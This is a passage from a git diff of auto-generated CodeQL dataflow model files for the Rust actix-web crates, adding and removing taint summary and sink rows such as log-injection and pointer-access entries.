"::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::header::shared::http_date::HttpDate(0)]", "ReturnValue", "value", "dfc-generated"] @@ -223,5 +246,8 @@ extensions: pack: codeql/rust-all extensible: sinkModel data: + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_io", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "pointer-access", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "pointer-access", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0]", "log-injection", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-http", "crate::ws::proto::hash_key", "Argument[0]", "hasher-input", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml index f5be3177f5b..c91f3e41db7 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml @@ -4,6 +4,11 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::from_state", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "<_ as crate::form::FieldGroupReader>::handle_field", "Argument[3]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_disposition", "Argument[self].Field[crate::field::Field::content_disposition].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_type", "Argument[self].Field[crate::field::Field::content_type].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::headers", "Argument[self].Field[crate::field::Field::headers]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -26,18 +31,40 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "Argument[self].Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "ReturnValue.Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::directory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::read_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::text::Text(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::text::TextConfig::validate_content_type]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[3]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[0]", "ReturnValue.Field[crate::payload::PayloadBuffer::stream].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-multipart", "::clone", "Argument[self].Field[crate::safety::Safety::clean].Reference", "ReturnValue.Field[crate::safety::Safety::clean]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::is_clean", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[2]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::handle_field", "Argument[3]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml index 092daa5214e..b911c3357f7 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-test.model.yml @@ -5,23 +5,7 @@ extensions: extensible: summaryModel data: - ["repo:https://github.com/actix/actix-web:actix-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::url", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-test", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::TestServerConfig::client_request_timeout]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml index 6c1bd84c988..710508a6fee 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-actors.model.yml @@ -19,3 +19,15 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "Argument[self].Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[0]", "ReturnValue.Field[crate::ws::WsResponseBuilder::protocols].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::protocols", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::write", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::write_eof", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::binary", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::close", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::ping", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::pong", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::text", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web-actors", "::write_raw", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml index da04e3d3bf0..1e95c79ef74 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web-codegen.model.yml @@ -7,7 +7,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::try_from", "Argument[0].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::MethodTypeExt::Custom(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[0].Field[crate::route::RouteArgs::path]", "ReturnValue.Field[crate::route::Args::path]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::ast]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::route::Route::name]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::connect", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::delete", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web-codegen", "crate::get", "Argument[1]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml index 71d89fea272..c4a38af8be2 100644 --- a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-web.model.yml @@ -7,14 +7,17 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[0]", "Argument[self].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::guard::Guard>::check", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "<_ as crate::handler::Handler>::call", "Argument[self].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self].Field[crate::Middleware::was_error].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::default]", "ReturnValue.Field[crate::app_service::AppInit::default]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::endpoint]", "ReturnValue.Field[crate::app_service::AppInit::endpoint]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_factory", "Argument[self].Field[crate::app::App::factory_ref]", "ReturnValue.Field[crate::app_service::AppInit::factory_ref]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::data_factory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::external_resource", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -32,7 +35,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[2]", "ReturnValue.Field[crate::config::AppConfig::addr]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::secure", "Argument[self].Field[crate::config::AppConfig::secure]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config].Reference", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::clone_config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[crate::config::AppService::config]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::config", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::config]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_services", "Argument[self].Field[crate::config::AppService::services]", "ReturnValue.Field[1]", "value", "dfc-generated"] @@ -53,6 +55,7 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::data::Data(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::types::either::EitherExtractError::Bytes(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::error::error::Error::cause].Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::error::error::Error::cause]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::status_code", "Argument[self].Field[crate::error::internal::InternalError::status].Field[crate::error::internal::InternalErrorType::Status(0)]", "ReturnValue", "value", "dfc-generated"] @@ -66,7 +69,6 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::match_star_star", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::guard::acceptable::Acceptable::mime]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::scheme", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::preference", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::as_filename", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Filename(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::as_filename_ext", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::FilenameExt(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::as_name", "Argument[self].Field[crate::http::header::content_disposition::DispositionParam::Name(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -98,9 +100,11 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::add_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_transform", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::fmt", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::fmt", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -123,6 +127,7 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::request_data::ReqData(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::add_guards", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -141,12 +146,12 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::set_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["repo:https://github.com/actix/actix-web:actix-web", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::add_cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::response::customize_responder::CustomizeResponder::inner].Field[crate::response::customize_responder::CustomizeResponderInner::responder]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::with_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::with_status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::service::ServiceResponse::response]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0]", "ReturnValue.Field[crate::response::response::HttpResponse::res]", "value", "dfc-generated"] @@ -156,6 +161,8 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::drop_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::error", "Argument[self].Field[crate::response::response::HttpResponse::error].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::extensions", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::extensions_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::head", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::head_mut", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::into_body", "Argument[self].Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] @@ -189,9 +196,11 @@ extensions: - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self].Field[crate::route::Route::guards]", "ReturnValue.Field[crate::route::Route::guards]", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::default_service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::route", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::service", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/actix/actix-web:actix-web", "::wrap_fn", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -208,10 +217,17 @@ extensions: - 